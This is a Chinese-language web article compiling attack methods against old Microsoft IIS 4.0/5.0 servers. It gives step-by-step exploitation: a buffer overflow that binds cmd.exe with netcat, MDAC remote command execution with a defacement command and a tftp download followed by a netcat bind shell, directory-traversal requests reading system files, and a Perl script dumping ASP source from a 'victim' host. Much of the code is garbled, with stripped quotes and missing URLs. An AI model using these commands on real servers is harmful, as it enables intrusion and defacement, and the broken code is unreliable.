数据恢复 硬盘维修 信息安全 技术应用 解决方案 菜鸟乐园 经验交流
   
有关IIS HACK的一些方法整理

北亚数据恢复中心 2008-06-13 11:32:55

BY XUNDI<安全焦点>

xundi1@21cn.com

这里整理了一些关于IIS HACK的一些漏洞,供大家参考。

1,介绍

由于这些方法针对通过端口80来操作,所以具有一定的威胁性,因为作为WEB你这个口总要开的。如果你想一边抽烟一边查漏洞,OK,你下载一些CGI扫描器来帮助你检查,你可以

尝试使用这两个:

whisker by rain forest puppy .

cis by mnemonix

另外你如果要知道目标机器运行的是啥类型的服务程序,你可以使用下面的命令:

telnet  80

GET HEAD / HTTP/1.0

就可以返回一些名字和WEB服务程序版本,如果有些服务器把WEB运行在8080,81,8000,8001口,你就TELNET相应的口上。

如果你要知道运行了SSL的WEB服务程序,在WEB服务器和浏览器进行了连接的的话,我们就可以使用工具ssleay:

s_client -connect :443

HEAD / HTTP /1.0

======================================================================

2,一些常用方法:

========IIS HACK==========

www.eeye.com的人员发现了一个IIS4.0的缓冲溢出可以允许用户上载程序,如netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,

其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。

要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面的站点去下载,另外你还需要一台自己的WEB服务器,当然你可以是虚拟服务器哦。

你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:

c:\>iishack.exe  80 /ncx.exe

然后你就使用netcat来连接你要检测的服务器:

c:\>nc 80

如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。

=========MDAC- 本地命令执行===========

你可能认为这个漏洞太老了,可网络如此之大,可能还有好多IIS WEB服务器存在这个漏洞啦。IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题

是存在于RDS Datafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。关于这个漏洞的描述,很多文

章介绍的很清楚,这里不做详细解释,你如果要对自己的站点进行检查是否存在这个漏洞,你可以通过下面的操作:

c:\>nc -nw -w 2 80

GET /msadc/msadcs.dll HTTP

如果你得到下面的信息:

application/x_varg

就很有可能没有打上补丁并存在此漏洞,你可以使用rain forest puppy站上的两个程序进行测试(和msadc2.pl 。

c:\> mdac.pl -h

Please type the NT commandline you want to run (cmd /c assumed):\n

cmd /c

OK,如果你要替换对方的主页,你就可以使用下面的方法:

cmd/c  echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm

或者其他命令,当然最好的方法我觉得还是使用上载我们的netcat,并把CMD.EXE绑定到端口80上,我们可以设置我们自己的TFTP服务程序并把nc.exe放上去,然后在执行命令,如

cmd/c cd %systemroot%&&tftp -i GET nc.exe&&del ftptmp

&& attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe

然后你就连接到80口,得到一个SHELL口让你浏览。呵呵!

=========Codebrws.asp & Showcode.asp ==================

Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,

但不是默认安装的,这个查看器是如果管理员允许查看样例文件作为联系而安装的,但是,这个查看器没有很好的限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机

器上的任意文件内容,但要注意以下几点:

1,Codebrws.asp 和 Showcode.asp默认情况下没有安装。

2,漏洞仅允许查看文件内容。

3,这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。

4,只有同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的注意,也可能比较好的防止最新的IIS5.0的unicode漏洞).

5,攻击者需要知道请求的文件名。

例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:

iisamples/exair/howitworks/codebrws.asp

你就可以查看到codebrws.asp的源代码了。

你也可以使用showcode.asp来查看文件:

source=/msadc/../../../../../winnt/win.ini

当然我想也可以查看一些FTP信息来获得其他的目标器管理员经常使用的机器,或许他其他的机器的安全性比WEB差呢;).如:

source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

=========Null.htw===============

IIS如果运行了Index Server的话就包含了一个通过Null.htw有关的漏洞,就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,包伙global.asa里面包

含了用户名和密码等敏感信息。工具者如果提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,提供逻辑分区和ROOT目录的访问。这个hit-highlighting功能在Index Server

中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:

CiWebhitsfile

CiRestriction

CiHiliteType

你可以使用下面的方法传递变量来获得如default.asp的源代码:

CiRestriction=none%20&%20&CiHiliteType=full

其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

========webhits.dll & .htw================

这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件

,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和

其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

如果你从服务器端获得如下信息:

format of the QUERY_STRING is invalid

这就表示你存在这个漏洞。

这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:

/iissamples/issamples/oop/qfullhit.htw

/iissamples/issamples/oop/qsumrhit.htw

/isssamples/exair/search/qfullhit.htw

/isssamples/exair/search/qsumrhit.htw

/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

一个攻击者可以使用如下的方法来访问系统中文件的内容:

ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

就会在有此漏洞系统中win.ini文件的内容。

===ASP Alternate Data Streams(::$DATA)==================

$DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个

data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要

保存在NTFS文件分区(幸好为了安全好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0,

2.0, 3.0和4.0都存在此问题。微软提供了一个FOR IIS3.0和4.0的版本补丁,你可以通过这文章来修补这个漏洞:

supporting NTFS alternate data streams by asking Windows

NT to make the file name canonical

要查看一些.asp文件的内容,你可以请求如下的URL:

你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:

=========ASP Dot Bug====================

这个漏洞是比较早的漏洞了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄

露ASP源代码。

======ISM.DLL 缓冲截断漏洞===============

这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或

者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL  

ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个截断开的 .Htr

并会有一些时间去返回一些你要打开的文件内容.除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只

能在 ISM.DLL 第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。

==========.idc & .ida Bugs=======================

这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通

过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。

或者 anything.idq

============+.htr Bug===========================

这个漏洞相似由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

===========NT Site Server Adsamples 漏洞======

通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

==========存在的一些暴力破解威胁.htr程序===========

IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目

录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB

来修改用户的帐号和密码。这个目录物理映射在下面的目录下:

c:\winnt\system32\inetsrv\iisadmpwd

Achg.htr

Aexp.htr

Aexp2.htr

Aexp2b.htr

Aexp3.htr

Aexp4.htr

Aexp4b.htr

Anot.htr

Anot3.htr

这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,你就豪不客气的删除这个目录先。

=============Translate:f Bug ====================

Daniel Docekal在2000,8月15号发布了这个漏洞,

其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件

后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来

利用这个漏洞:

#############################

use IO::Socket;       #

my ($port, $sock,$server); #

$size=0;          #

$server=$ARGV[0];

$s=$server;

$port=80;

$cm=$ARGV[1];

&connect;

sub connect {

if ($#ARGV < 1) {

howto;

exit;

$ver=GET /$cm%5C HTTP/1.0

Host: $server

Accept: */*

Translate: f

\n\n;

my($iaddr,$paddr,$proto);

$iaddr = inet_aton($server) || die Error: $!;

$paddr = sockaddr_in($port, $iaddr) || die Error: $!;

$proto = getprotobyname(tcp) || die Error: $!;

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die Error:

$!;

connect(SOCK, $paddr) || die Error: $!;

send(SOCK, $ver, 0) || die Cant to send packet: $!;

open(OUT, >$server.txt);

print Dumping $cm to $server.txt \n;

while {

print OUT ;

sub howto {

print type as follows: Trans.pl www.victim.com codetoview.asp \n\n;

close OUT;

$n=0;

$type=2;

close(SOCK);

exit(1);

你可以使用下面的方法来获得源代码:

Trasn.pl www.victim.com default.asp

=============IIS存在的Unicode解析错误漏洞====================

NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含

unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。此文摘自,你可

以看到里面更详细的描述。

你可以使用下面的方法利用这个漏洞:

(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:

(2) 利用这个漏洞查看系统文件内容也是可能的:

当然这是针对中文IIS,你也可以使用%c0%af或者%c1%9c来测试英文IIS版本,主要原因是其编码的不同而已。

当然,还有其中一些漏洞可以供大家来测试,我不能一一举例出来,大家有心的话可以出个关于IIS的漏洞记录一个,这样你的数据库就比较充足了,写的仓促,希望大家见谅其中

的错误。

编辑: 硬盘之家

精彩推荐
杀毒软件使用技巧:金山毒霸6的三大另类用法
杀毒软件使用技巧:金山毒霸6的三大另类用法

250GB才刚起步 超值大容量硬盘全推荐
250GB才刚起步 超值大容量硬盘全推荐

DIY新动作 自制芯片组散热器 (下)
DIY新动作 自制芯片组散热器 (下)

金山毒霸2006年度渠道合作伙伴年会圆满落幕
金山毒霸2006年度渠道合作伙伴年会圆满落幕

精彩推荐  
  • 使用Portland改善Linux桌面移植性
  • Linux 技巧: Bash 测试和比较函数
  • 用户和Linux之间的接口:shell命令
  • 如何以Solaris架设FTP虚拟系统
  • 安装linux引导时的命令参数
  • 开学导购系列:7款超值宽屏LCD强力推荐
  • 没那么简单!升级160G大硬盘者必读
  • 软件能够修复硬盘吗?——硬盘损坏全分析
  • PC3000 SCSI FOR UDMA
  • 杀毒软件使用技巧:金山毒霸6的三大另类用法
  • 特别推荐  
    图片推荐  
    特别推荐  
    热点推荐  
  • 质保差异!希捷硬盘官方与市场售后服务对比 [0]
  • 兼顾技术和需求!高性价比硬盘一网打尽 [0]
  • 病毒预设陷阱 利用MSN蝴蝶图标欺骗用户点击 [0]
  • 03.10预警:魔兽大盗出变种 常用文件被伪装 [0]
  • Outlook邮件和规则的备份与恢复 [0]
  • 磁头损坏,并不可怕 [0]
  • 希捷Barracuda8,9,10典型故障数据恢复 [0]
  • “DRS数据修复春意服务月”掀起新春让利风 [0]
  • "十"小心假冒"柯达相片"的电脑病毒 [0]
  • 警惕计算机病毒从破坏转向“趋利”的新趋势 [0]
  • 技巧:从八个方面来探讨计算机操作系统优化 [0]
  • 导致计算机系统“死机”的原因及其预防方法 [0]
  • 让假货无处可逃 火眼睛睛帮您挑内存 [0]
  • 如何正确选购和使用超大容量内存 [0]
  • 南京ADSL宽带上网按流量计费 可能会在全国 [0]
  • 明基-西门子双品牌及三款全新手机正式揭幕[ [0]